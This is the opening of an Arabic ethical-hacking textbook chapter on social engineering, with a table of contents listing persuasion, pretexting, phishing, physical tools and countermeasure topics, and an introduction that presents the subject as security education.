9

‫اﻟﮭﺎﻛﺮ اﻷﺧﻼﻗﻲ‬
(Social Engineering) ‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‬

By

Dr.Mohammed Sobhy Teba

Social engineering
https://www.facebook.com/tibea2004
 ‫‪781‬‬

‫‪CONTENTS‬‬

‫‪785 . ................................................................................................................................ Social engineering: the art of human hacking‬‬

‫‪ 9.1‬اﻟﻣﻔﺎھﯾم اﻷﺳﺎﺳﯾﺔ ﺣول اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪786 ...... ................................................................................................................................ (SE‬‬

‫اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ ﺗﻘدم ﺑﻌض اﻷﻣﺛﻠﺔ ﻋﻠﻰ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬واﻟﺣﯾل‪ ،‬واﻟﺗﻼﻋب‪ ،‬واﺳﺗﻌراض ﻛﯾﻔﯾﺔ ﻋﻣﻠﮭﺎ ‪787 .. ................................................................‬‬

‫أﺷﮭر اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن )‪790 ....................................................................................................................(Famous social engineers‬‬

‫ﻓﺋﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ‪791 ............................................................................................................... Categories Of Social Engineers‬‬

‫ﻟﻣﺎذا ﯾﺳﺗﺧدم اﻟﻣﮭﺎﺟﻣون اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪792 ............ ................................................................................................................................‬‬

‫اﻷھداف اﻟﻧﻣوذﺟﯾﺔ اﻟﺗﻲ ﺗﻌﻣل ﻋﻠﯾﮭﺎ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ‪792 ..............................................................................................................................‬‬

‫اﻟﺳﻠوﻛﯾﺎت اﻟﻌرﺿﺔ ﻟﻠﮭﺟﻣﺎت ‪793 .............................................................................................................................................................‬‬

‫اﻟﻌواﻣل اﻟﺗﻲ ﺗﺟﻌل اﻟﺷرﻛﺎت ﻋرﺿﺔ ﻟﮭﺟﻣﺎت ‪794 ......... ................................................................................................................................‬‬

‫ﻟﻣﺎذا ﻛون اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻌﺎﻟﺔ؟ ‪794 ..................................................................................................................................................‬‬

‫ﻣراﺣل اﻟﮭﺟوم ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪794 ............................................................................... (Phases In A Social Engineering Attack‬‬

‫ﺗﺄﺛﯾر اﻟﮭﻧدﺳﺔ اﻟﻌﻛﺳﯾﺔ ﻋﻠﻰ اﻟﻣﻧظﻣﺎت )‪795 ................................................................................................ (Impact On The Organization‬‬

‫اﻷھداف اﻟﺷﺎﺋﻌﺔ ﻟﮭﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪796 .... ................................................................ (Common Targets Of Social Engineering‬‬

‫ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت )أﺳﺎس ﻧﺟﺎح اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ( ‪796 .... ................................................................................................................................‬‬

‫ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ‪798 .............................................................................................................................................................................‬‬

‫اﻟﺗﻔﻛﯾر ﻣﺛل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ )‪799 . ................................................................................................(Thinking Like A Social Engineer‬‬

‫اﺳﺗﺧدام ﻗوة اﻟﻣﻼﺣظﺔ ‪799 ........ ................................................................................................................................................................‬‬

‫ﺻﻧﺎدﯾﻖ اﻟﻘﻣﺎﻣﺔ‪800 .................................................................................................................................................................................‬‬

‫‪ 9.2‬ﺗﻘﻧﯾﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪801 ..............................................................................................................(Social engineering Techniques‬‬

‫ﻧﻣوذج اﻻﺗﺻﺎﻻت )‪801 ...............................................................................................................................(Communication Modeling‬‬

‫ﻧﻣوذج اﻻﺗﺻﺎﻻت وﺟذوره )‪802 ..................................................................................... (The Communication Model And Its Roots‬‬

‫ﺗطوﯾر ﻧﻣوذج اﻻﺗﺻﺎﻻت )‪803 ............................................................................................... (Developing A Communication Model‬‬

‫ﻗوة ﻧﻣوذج اﻻﺗﺻﺎﻻت )‪805 ................................................................................................ (The Power Of Communication Models‬‬

‫أﻧواع اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪806 ................................................................................................................ (Types Of Social Engineering‬‬

‫ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﺳﺗﻧدة إﻟﻰ اﻹﻧﺳﺎن )‪806 ...... ................................................................(Human-Based Social Engineering‬‬

‫ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻘﺎﺋﻣﺔ ﻋﻠﻰ اﻟﺣﺎﺳوب ‪806 . ................................................................................................................................‬‬

‫ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﺳﺗﻧدة ﻋﻠﻰ اﻟﮭﺎﺗف اﻟﺟوال ‪806 ........................................................................................................................‬‬

‫‪807 ....................................................................................................................... Human-Based Social Engineering: Elicitation‬‬

‫ﻣﺎ ھو ‪Elicitation‬؟ ‪807 ..... ................................................................................................................................................................‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 782

807 .. ................................................................................................................................:‫ ﯾﻌﻣل ﺑﺷﻛل ﺟﯾد ﺟدا ﻟﻌدة أﺳﺑﺎب‬Elicitation ‫اﻠ‬

808 ... ................................................................................................................................................................ Elicitation ‫أھداف اﻠ‬

808 ......................................................................................... :‫ﺑﻌض ﻣن أﻓﻛﺎر اﻟﺧﺑراء ﻹﺗﻘﺎن ﻓن اﻟﻣﺣﺎدﺛﺔ واﻟﺗﻲ ﺗﺗﻣﺛل ﻓﻲ ﺛﻼث ﺧطوات رﺋﯾﺳﯾﺔ‬

809 .............................................................................................................................................................................. Preloading

810 ............................................................................................................................................................. ‫ ﻧﺎﺟﺢ‬Elicitor ‫ﻛﯾف ﺗﺻﺑﺢ‬

812 ...................................................................................................................(Using Intelligent Questions) ‫اﺳﺗﺧدام اﻷﺳﺋﻠﺔ اﻟذﻛﯾﺔ‬

813 ..... ................................................................................................................................................................Elicitation ‫اﺗﻘﺎن اﻠ‬

814 .............................................................................................................................Human-Based Social Engineering: Pretext

815 .. ................................................................................................................................................................ ‫؟‬Pretexting ‫ﻣﺎ ھو اﻠ‬

815 ............................................................................................................................................... Pretexting ‫ﻣﺑﺎدئ وﻣراﺣل ﺗﺧطﯾط اﻠ‬

820 ........ ................................................................................................................................................................ ‫ اﻟﻧﺎﺟﺢ‬Pretext ‫اﻠ‬

821 ........ ................................................................ Human-Based SE: Psychological Principles Used in SE & Body Language

821 ........... ................................................................................................................................ (Modes Of Thinking) ‫أﻧﻣﺎط اﻟﺗﻔﻛﯾر‬

822 ................................................................................................................................................................ (The Senses) ‫اﻟﺣواس‬

825 ........... ................................................................................................................................ Microexpressions(‫)ﺗﻌﺑﯾرات اﻟوﺟﮭﺔ‬

850 .. ................................................................................................................................ Neurolinguistic Programming (NLP)

859 ................................................................................................................................................. Interview and Interrogation

864 .... ................................................................................................Hands (Gesturing) Language of the Understanding the

877 .................................................................................................................................................... The Torso, Legs, and Feet

885 ............................................................................................................................................................ (Eye Cues) ‫إﺷﺎرات اﻟﻌﯾن‬

887 ... ................................................................................................ (Listening Your Way To Success) ‫اﺳﺗﻣﻊ اﻟﻰ طرﯾﻘك ﻟﻛﻲ ﺗﻧﺟﺢ‬

889 ............................................................................................................................ (Building Instant Rapport) ‫ﺑﻧﺎء ﻋﻼﻗﺔ ﻓورﯾﺔ‬

893 ............................................................................................................................................... The Human Buffer Overflow

897 .....................................................................................Understanding Nonverbal Displays Of Comfort and Discomfort

905 ........ ................................................................................................Human-Based SE: Influence: The Power of Persuasion

905 ....................................................(The Five Fundamentals of Influence and Persuasion) ‫اﻷﺳﺎﺳﯾﺎت اﻟﺧﻣﺳﺔ ﻋن اﻟﺗﺄﺛﯾر واﻻﻗﻧﺎع‬

908 ............................................................................................................................................. (Influence Tactics) ‫ﺗﻛﺗﯾﻛﺎت اﻟﺗﺄﺛﯾر‬

924 ...................................................................................................................... (Altering Reality: Framing) ‫ اﻟﺗﺄطﯾر‬:‫ﺗﻐﯾﯾر اﻟواﻗﻊ‬

935 ......................................................................................... (Manipulation: Controlling Your Target) ‫ اﻟﺗﺣﻛم ﻓﻲ ھدﻓك‬:‫اﻟﺗﻼﻋب‬

943 ........................................................................................ (Manipulation in Social Engineering) ‫اﻟﺗﻼﻋب ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‬

https://www.facebook.com/tibea2004 ‫ ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬.‫د‬

 783

947 ................................................................................................................................ Other Human-Based Social Engineering

948 ....... ................................................................................................................................Computer-Based Social Engineering

950 ....................................................................................................................... (Social engineering Tools) ‫ أدوات اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‬9.3

950 ..................................................................................................................................................... (Physical Tools) ‫اﻷدوات اﻟﻣﺎدﯾﺔ‬

950 .. ................................................................................................................................................................ (Lock Picks) ‫اﻻﻗﻔﺎل‬

955 ... ................................................................................................ (Cameras And Recording Devices) ‫اﻟﻛﺎﻣﯾرات وأﺟﮭزة اﻟﺗﺳﺟﯾل‬

956 .......... ................................................................................................ (Using A GPS Tracker) ‫اﺳﺗﺧدام ﻧظﺎم ﺗﺣدﯾد اﻟﻣواﻗﻊ اﻟﻣﻘﺗﻔﻲ‬

958 ........... ................................................................................................................................................................ RF Bug Kits

959 ......................................................................................................................... The E-Mail Attack Vector (phishing attacks)

961 .......... ................................................................................................................................ Spear Phishing versus Trawling

962 ............. ................................................................................................ (‫أدوات ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت )اﻻﺳﺗﻔﺎدة ﻣن اﻻﺳﺗﺧﺑﺎرات اﻟﻣﻔﺗوﺣﺔ اﻟﻣﺻدر‬

962 ...................................................................................................................................................................................Maltego

963 ................................................................................................................................................... SET: Social Engineer Toolkit

978 ....... ................................................................................................................................ Telephone-based Social Engineering

978 ................................................................................................................................................... Publishing Malicious Apps

979 ............................................................................................................................................. Repackaging Legitimate Apps

979 ...................................................................................................................................................Fake Security Applications

980 ..............................................................................................................................................................................Using SMS

980 ..........................................................................................................................................................Environmental Sounds

980 . ................................................................................................................................................................Caller ID Spoofing

981 ...............................................................................................Common Social Engineering Targets and Defense Strategies

982 .......... ................................................................ (Impersonation on Social Networking Sites) ‫ﺗﺰﯾﻒ ﻣﻮاﻗﻊ اﻟﺸﺒﻜﺎت اﻻﺟﺘﻤﺎﻋﯿﺔ‬/‫ اﻧﺘﺤﺎل‬9.4

985 .......................................................................................................................................................... (Identity Theft) ‫ ﺳﺮﻗﺔ اﻟﮭﻮﯾﺔ‬9.5

991 ................................................................................................................ (Social Engineering Countermeasures) ‫ اﻟﺘﺪاﺑﯿﺮ اﻟﻤﻀﺎدة‬9.6

991 ...........................................................(Learning To Identify Social Engineering Attacks) ‫اﻟﺗﻌﻠم ﻟﺗﺣدﯾد ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‬

992 ...............................................................(Creating a Personal Security Awareness Culture) ‫إﻧﺷﺎء ﺑرﻧﺎﻣﺞ اﻟوﻋﻲ اﻷﻣﻧﻲ اﻟﺷﺧﺻﻲ‬

993 .................. (Being Aware Of The Value Of The Information You Are Being Asked For) ‫إدراك ﻟﻘﯾﻣﺔ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗﺳﺄل ﻋﻧﮭﺎ‬

994 .................................................................................................................(Keeping Software Updated) ‫اﻟﺣﻔﺎظ ﻋﻠﻰ ﺗﺣدﯾث اﻟﺑراﻣﺞ‬

995 ......... ................................................................................................................................ (Developing Scripts) ‫ﻣﺧطوطﺎت اﻟﺗطوﯾر‬

995 .. ................................................................(Learning From Social Engineering Audits) ‫اﻟﺗﻌﻠم ﻣن ﻋﻣﻠﯾﺎت ﺗدﻗﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‬

https://www.facebook.com/tibea2004 ‫ ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬.‫د‬

 ‫‪784‬‬

‫ﻓﮭم ﻣﺎ ھو ﺗدﻗﯾﻖ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪996 ...........................................................(Understanding What A Social Engineering Audit Is‬‬

‫ﺗﺣدﯾد أھداف اﻟﺗدﻗﯾﻖ )‪996 . ................................................................................................................................ (Setting Audit Goals‬‬

‫ﻣﺎ اﻟذي ﯾﺟب وﯾﻧﺑﻐﻲ ﻋدم إدراﺟﮫ ﻓﻲ اﻟﻣراﺟﻌﺔ‪/‬اﻟﺗدﻗﯾﻖ )‪997 ...........................(What Should And Should Not Be Included In An Audit‬‬

‫اﺧﺗﯾﺎر أﻓﺿل اﻟﻣدﻗﻘﯾن )اﻟﻣﺣﻘﻘﯾن( }‪998 .... ................................................................................................{Choosing The Best Auditor‬‬

‫‪999 ...... ................................................................................................................................Social Engineering Countermeasures‬‬

‫ﻛﯾﻔﯾﺔ اﻟﻛﺷف ﻋن اﻟرﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﯾﺔ اﻻﺣﺗﯾﺎﻟﯾﺔ )‪999 ... ................................................................ (How To Detect Phishing Emails‬‬

‫اﻟﺗداﺑﯾر اﻟﻣﺿﺎدة ﺿد ﺳرﻗﺔ اﻟﮭوﯾﺔ )‪1002 ......................................................................................... (Identity Theft Countermeasures‬‬

‫‪ 9.7‬ﻣﺨﺘﺒﺮ اﻻﺧﺘﺮاق )‪1003 .......... ................................................................................................................................ (Penetration Testing‬‬

‫اﺧﺗﺑﺎر اﺧﺗراق اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪1003 .............................................................................................. (Social Engineering Pen Testing‬‬

‫ﻣن ﺧﻼل رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ‪1004 ....................................................................................................................................................‬‬

‫ﻣن ﺧﻼل اﺳﺗﺧدام اﻟﮭﺎﺗف )‪1004 ...............................................................................(Social Engineering Pen Testing: Using Phone‬‬

‫اﺟراء اﺧﺗﺑﺎر اﺧﺗراق اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺷﺧﺻﯾﺎ ‪1004 ................................................................................................................................‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪785‬‬

‫‪SOCIAL ENGINEERING: THE ART OF HUMAN HACKING‬‬

‫اﻟﻣﻌﻠوﻣﺎت اﻟواردة ﻓﻲ ھذا اﻟﻛﺗﺎب ﯾﺣدد ﻟﻣﺣﺔ ﻋﺎﻣﺔ ﻋن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﺗﻘﺗﺻر اﻟﺳﺑل اﻟﻣﻣﻛﻧﺔ ﻻﺳﺗﺧراج اﻟﻣﻌﻠوﻣﺎت ﻣن إﻧﺳﺎن آﺧر إﻻ‬
‫ﻣن ﺧﻼل ﺑراﻋﺔ ﻋﻘل اﻟﻣﮭﺎﺟم‪ .‬ﻓﻲ ﺣﯾن أن ھذا اﻟﺟﺎﻧب ﯾﺟﻌﻠﮭﺎ ﻛﺎﻟﻔن‪ ،‬واﻟطﺑﯾﻌﺔ اﻟﻧﻔﺳﯾﺔ ﻟﺑﻌض ھذه اﻟﺗﻘﻧﯾﺎت ﺗﺟﻌل ﻛﺎﻟﻌﻠم‪ ،‬وﺧﻼﺻﺔ اﻟﻘول ھﻲ‬
‫أﻧﮫ ﻻ ﯾوﺟد دﻓﺎع ﺿد اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ؛ ﻓﻘط اﻟﯾﻘظﺔ اﻟداﺋﻣﺔ ﯾﻣﻛﻧﮭﺎ اﻻﻟﺗﻔﺎف ﺣول ﺑﻌض ﺗﻘﻧﯾﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ اﻟﮭﺎﻛرز‪.‬‬

‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ )‪ (SE) (Social Engineering‬ﻗد أﺳﻲء ﻓﮭﻣﮭﺎ إﻟﻰ ﺣد ﻛﺑﯾر‪ ،‬ﻣﻣﺎ ﯾؤدي إﻟﻰ اﻟﻌدﯾد ﻣن اﻵراء اﻟﻣﺗﺑﺎﯾﻧﺔ ﺣول ﻣﺎ ھﻲ‬
‫ف اﻟﺑﻌض ‪ SE‬ﺑﺄﻧﮭﺎ ﻣﺟرد اﻟﻛذب ﻣن أﺟل اﻟﺣﺻول ﻋﻠﻰ‬ ‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ وﻛﯾف ﺗﻌﻣل‪ .‬وﻗد أدى ھذا إﻟﻰ اﻟﺣﺎﻟﺔ اﻟﺗﻲ ﯾﻛون ﻓﯾﮭﺎ ﻗد ﻋر َ‬
‫اﻟﻣواد اﻟﻣﺟﺎﻧﯾﺔ اﻟﺗﺎﻓﮭﺔ ﻣﺛل اﻟﺑﯾﺗزا أو اﻟﺣﺻول ﻋﻠﻰ اﻹﺷﺑﺎع اﻟﺟﻧﺳﻲ؛ ﯾرى آﺧرون أن ‪ SE‬ﺗﺷﯾر ﻓﻘط إﻟﻰ اﻷدوات اﻟﻣﺳﺗﺧدﻣﺔ ﻣن ﻗﺑل‬
‫اﻟﻣﺟرﻣﯾن أو اﻟرﺟﺎل اﻟﻣﺧﺎدﻋﯾن‪ ،‬أو رﺑﻣﺎ أﻧﮫ اﻟﻌﻠم اﻟذي ﯾﻣﻛن ﺗﻘﺳﯾﻣﮫ إﻟﻰ أﺟزاء أو ﻣﻌﺎدﻻت أو ﻧظرﯾﺎت‪ .‬أو رﺑﻣﺎ ﯾﻛون اﻟﻔن اﻟﺑﺎطﻧﻲ اﻟﻣﻔﻘود‬
‫ﻣﻧذ زﻣن طوﯾل ﻹﻋطﺎء اﻟﻣﻣﺎرﺳﯾن اﻟﻘدرة ﻋﻠﻰ اﺳﺗﺧدام ﻗوة اﻟﻌﻘل ﻣﺛل اﻟﺳﺎﺣر أو اﻟواھم‪.‬‬
‫ﯾﺗم اﺳﺗﺧدام اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾوﻣﯾﺎ ﻣن ﻗﺑل اﻟﻧﺎس ﻓﻲ ﺣﯾﺎﺗﮭم اﻟﯾوﻣﯾﺔ‪ .‬اﻟطﻔل ﻣﺛﻼ ﯾﺣﺎول إﯾﺟﺎد طرﯾﻘﮫ ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﺣﻠوى‪ ،‬اﻟﻣوظف‬
‫ﯾﺑﺣث ﻋن اﻻرﺗﻘﺎء وﻋﻠو اﻟﻣﻛﺎﻧﺔ‪ .‬اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺗﺣدث ﻓﻲ اﻟﺣﻛوﻣﺔ أو ﻗطﺎع اﻷﻋﻣﺎل اﻟﺻﻐﯾر واﻟﺗﺳوﯾﻖ‪ .‬ﻟﻸﺳف‪ ،‬ﺑل ھو أﯾﺿﺎ ﻣوﺟودة‬
‫ﻋﻧد اﻟﻣﺟرﻣﯾن‪ ،‬واﻟرﺟﺎل اﻟﻣﺧﺎدﻋﯾن‪ ،‬وﻛﺎﻷﺷﺧﺎص ﻓﻲ ﺑﺣﺛﮭم ﻋن اﻟﻣﻌﻠوﻣﺎت واﻟﺗﻲ ﺗﺟﻌﻠﮭﺎ ﻋرﺿﺔ ﻟﻠﺟراﺋم‪ .‬ﻣﺛل أي أداة‪ ،‬اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‬
‫ﻟﯾﺳت ﺧﯾرا أو ﺷرا‪ ،‬وﻟﻛن ﻣﺟرد أداة ﻟدﯾﮭﺎ اﻟﻌدﯾد ﻣن اﻻﺳﺗﺧداﻣﺎت اﻟﻣﺧﺗﻠﻔﺔ‪.‬‬

‫اﻟﻣﻌﻠوﻣﺎت اﻟواردة ﻓﻲ ھذا اﻟﻛﺗﺎب ﺗﻔﺗﺢ ﻋﯾﻧﯾك ﻋﻠﻰ ﻛﯾﻔﯾﺔ اﺳﺗﺧدام ﻣﮭﺎرات اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﺳوف ﺗﻛون أﯾﺿﺎ ﻧدا ﻓﻲ اﻟﻌﺎﻟم اﻟﻣظﻠم ﻣن‬
‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ وﻣﻌرﻓﺔ ﻛﯾﻔﯾﺔ ﻗﯾﺎم "اﻷﺷرار" ﺑﺎﺳﺗﺧدام ھذه اﻟﻣﮭﺎرات ﻟﻛﺳب اﻟﯾد اﻟﻌﻠﯾﺎ‪ .‬ﻣن ھﻧﺎ‪ ،‬أﻧت ﺗﺗﻌﻠم ﻛﯾف ﺗﺻﺑﺢ أﻗل ﻋرﺿﺔ‬
‫ﻟﮭﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫ﺗﺣذﯾر واﺣد‪ :‬ھذا اﻟﻛﺗﺎب ﻟﯾس ﻟﻠﺿﻌﻔﺎء‪ .‬ﻓﺈﻧﮫ ﯾﺄﺧذك إﻟﻰ ﺗﻠك اﻟزواﯾﺎ اﻟﻣظﻠﻣﺔ ﻓﻲ اﻟﻣﺟﺗﻣﻊ ﺣﯾث "اﻟﻘﺑﻌﺎت اﻟﺳوداء"‪ ،‬واﻟﻣﺗﺳﻠل اﻟﺧﺑﯾث‪ .‬اﻧﮭﺎ‬
‫ﺗﻛﺷف وﺗﺗﻌﻣﻖ ﻓﻲ ﻣﺟﺎﻻت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ اﻟﺟواﺳﯾس واﻟرﺟﺎل اﻟﻣﺧﺎدﻋﯾن‪ .‬وﯾﺳﺗﻌرض اﻟﺗﻛﺗﯾﻛﺎت واﻷدوات اﻟﺗﻲ ﯾﺑدو‬
‫أﻧﮭﺎ ﺳرﻗت ﻣن ﻓﯾﻠم ﺟﯾﻣس ﺑوﻧد‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﻓﺈﻧﮫ ﯾﻐطﻲ‪ ،‬ﻣواﻗف اﻟﺣﯾﺎة اﻟﯾوﻣﯾﺔ اﻟﻣﺷﺗرﻛﺔ وﻣن ﺛم ﯾﺑﯾن ﻛﯾﻔﯾﺔ ﻗﯾﺎم ﺳﯾﻧﺎرﯾوھﺎت اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﻌﻘدة‪ .‬ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﻣطﺎف‪ ،‬ﻓﺈن اﻟﻛﺗﺎب ﯾﻛﺷف ﻧﺻﺎﺋﺢ "ﻣن اﻟداﺧل" واﻟﺣﯾل ﻣن اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن‪ ،‬ﺣﺗﻰ اﻟﻣﺟرﻣﯾن‪.‬‬
‫اﻟﺑﻌض ﯾﺳﺎل ﻋن ﺳﺑب ﻛﺷف ھذه اﻟﻣﻌﻠوﻣﺎت‪ .‬اﻟﺟواب ﺑﺳﯾط‪" :‬اﻷﺷرار" ﻻ ﯾﺗوﻗﻔون ﻧﺗﯾﺟﺔ وﺟود ﻗﯾود ﺗﻌﺎﻗدﯾﺔ أو اﻵداب اﻟﻌﺎﻣﺔ اﻟﺧﺎﺻﺔ ﺑﮭم‪.‬‬
‫اﻧﮭم ﻻ ﯾﺗوﻗﻔون ﺑﻌد ﻓﺷل اﻟﻣﺣﺎوﻟﺔ‪ .‬اﻟﻘراﺻﻧﺔ ﻻ ﯾذھﺑون ﺑﻌﯾدا ﻷن اﻟﺷرﻛﺎت ﻻ ﺗﺣب أن ﺗﻛون أﺟﮭزﺗﮭم ﻣﺧﺗرﻗﺔ‪ .‬ﺑدﻻ ﻣن ذﻟك‪ ،‬ﯾﺗم اﺳﺗﺧدام‬
‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﺧداع اﻟﻣوظﻔﯾن‪ ،‬واﻻﺣﺗﯾﺎل ﻋﻠﻰ اﻹﻧﺗرﻧت أﻛﺛر وأﻛﺛر ﻛل ﯾوم‪ .‬ﺑﯾﻧﻣﺎ ﺗﺣﺎول ﺷرﻛﺎت اﻟﺑرﻣﺟﯾﺎت ﺗﻌزﯾز أﻣن ﺑراﻣﺟﮭﺎ‪ ،‬ﻓﺎن‬
‫اﻟﻘراﺻﻧﺔ ﯾذھﺑون اﻟﻰ أﺿﻌف ﺟزء ﻓﻲ اﻟﺑﻧﯾﺔ اﻟﺗﺣﺗﯾﺔ ﻟﻸﻣن وھم اﻻﺷﺧﺎص‪ .‬دواﻓﻌﮭم ھو اﻟﻌﺎﺋد ﻣن اﻻﺳﺗﺛﻣﺎر)‪. (ROI‬‬
‫اﻟﻧﺗﯾﺟﺔ اﻟﻣﺣزﻧﺔ ﻓﻲ اﻟﻧﮭﺎﯾﺔ ھو أﻧﮫ ﻻ ﺗوﺟد أي وﺳﯾﻠﺔ ﻣوﺟودة ﻟﺗﻛون آﻣﻧﺔ ‪ ،٪100‬إﻻ إذا ﻗﻣت ﺑﻔﺻل ﺟﻣﯾﻊ اﻷﺟﮭزة اﻹﻟﻛﺗروﻧﯾﺔ واﻻﻧﺗﻘﺎل‬
‫إﻟﻰ اﻟﺟﺑﺎل‪ .‬وذﻟك ﻟﯾس ﺑﻌﻣﻠﻲ‪ ،‬ﯾﻧﺎﻗش ھذا اﻟﻛﺗﺎب اﻟطرق ﻟﺗﺻﺑﺢ أﻛﺛر وﻋﯾﺎ وﺗﻌﻠﯾﻣﺎ ﺣول اﻟﮭﺟﻣﺎت ﻣن ھﻧﺎك وﻣن ﺛم ﯾﺣدد اﻟطرق اﻟﺗﻲ ﯾﻣﻛن‬
‫اﺳﺗﺧداﻣﮭﺎ ﻟﻠﺣﻣﺎﯾﺔ ﺿدھم‪ .‬ﺷﻌﺎري ھو "اﻷﻣن ﻣن ﺧﻼل اﻟﺗﻌﻠﯾم"‪ .‬ﯾﻘدر ﻣﺧﺗﺑرات ﻛﺎﺳﺑرﺳﻛﻲ‪ ،‬اﻟﺷرﻛﺔ اﻟراﺋدة ﻓﻲ ﻣﺟﺎل ﻣﻛﺎﻓﺣﺔ اﻟﻔﯾروﺳﺎت‬
‫وﺣﻣﺎﯾﺔ اﻟﺑرﻣﺟﯾﺎت‪ ،‬ﺣﯾث ﻗﺎﻟت إﻧﮫ ﺗم ﻧﺷر أﻛﺛر ﻣن ‪ 100،000‬ﻣن اﻟﺑرﻣﺟﯾﺎت اﻟﺧﺑﯾﺛﺔ ﻣن ﺧﻼل اﻟﺷﺑﻛﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ ﻋﺎم ‪ .2009‬وﻓﻲ‬
‫ﺗﻘرﯾر ﺻدر ﻣؤﺧرا‪ ،‬ﻗدر ﻛﺎﺳﺑرﺳﻛﻲ ان "اﻟﮭﺟﻣﺎت ﺿد اﻟﺷﺑﻛﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ ‪ 10‬ﻣرات أﻛﺛر ﻧﺟﺎﺣﺎ" ﻣن اﻷﻧواع اﻷﺧرى ﻣن اﻟﮭﺟﻣﺎت‪.‬‬
‫اﻟﻘول اﻟﻣﺄﺛور اﻟﻘدﯾم ﻟﻠﻘراﺻﻧﺔ‪" ،‬اﻟﻣﻌرﻓﺔ ﻣﺻدر اﻟﻘوة"‪.‬‬
‫ﻣن أھم ﻣﺻﺎدر اﻟﻣﻌرﻓﺔ ﺣول اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣن ﺧﻼل اﻟراﺑط اﻟﺗﺎﻟﻲ‪:‬‬
‫‪http://www.social-engineer.org/‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪786‬‬

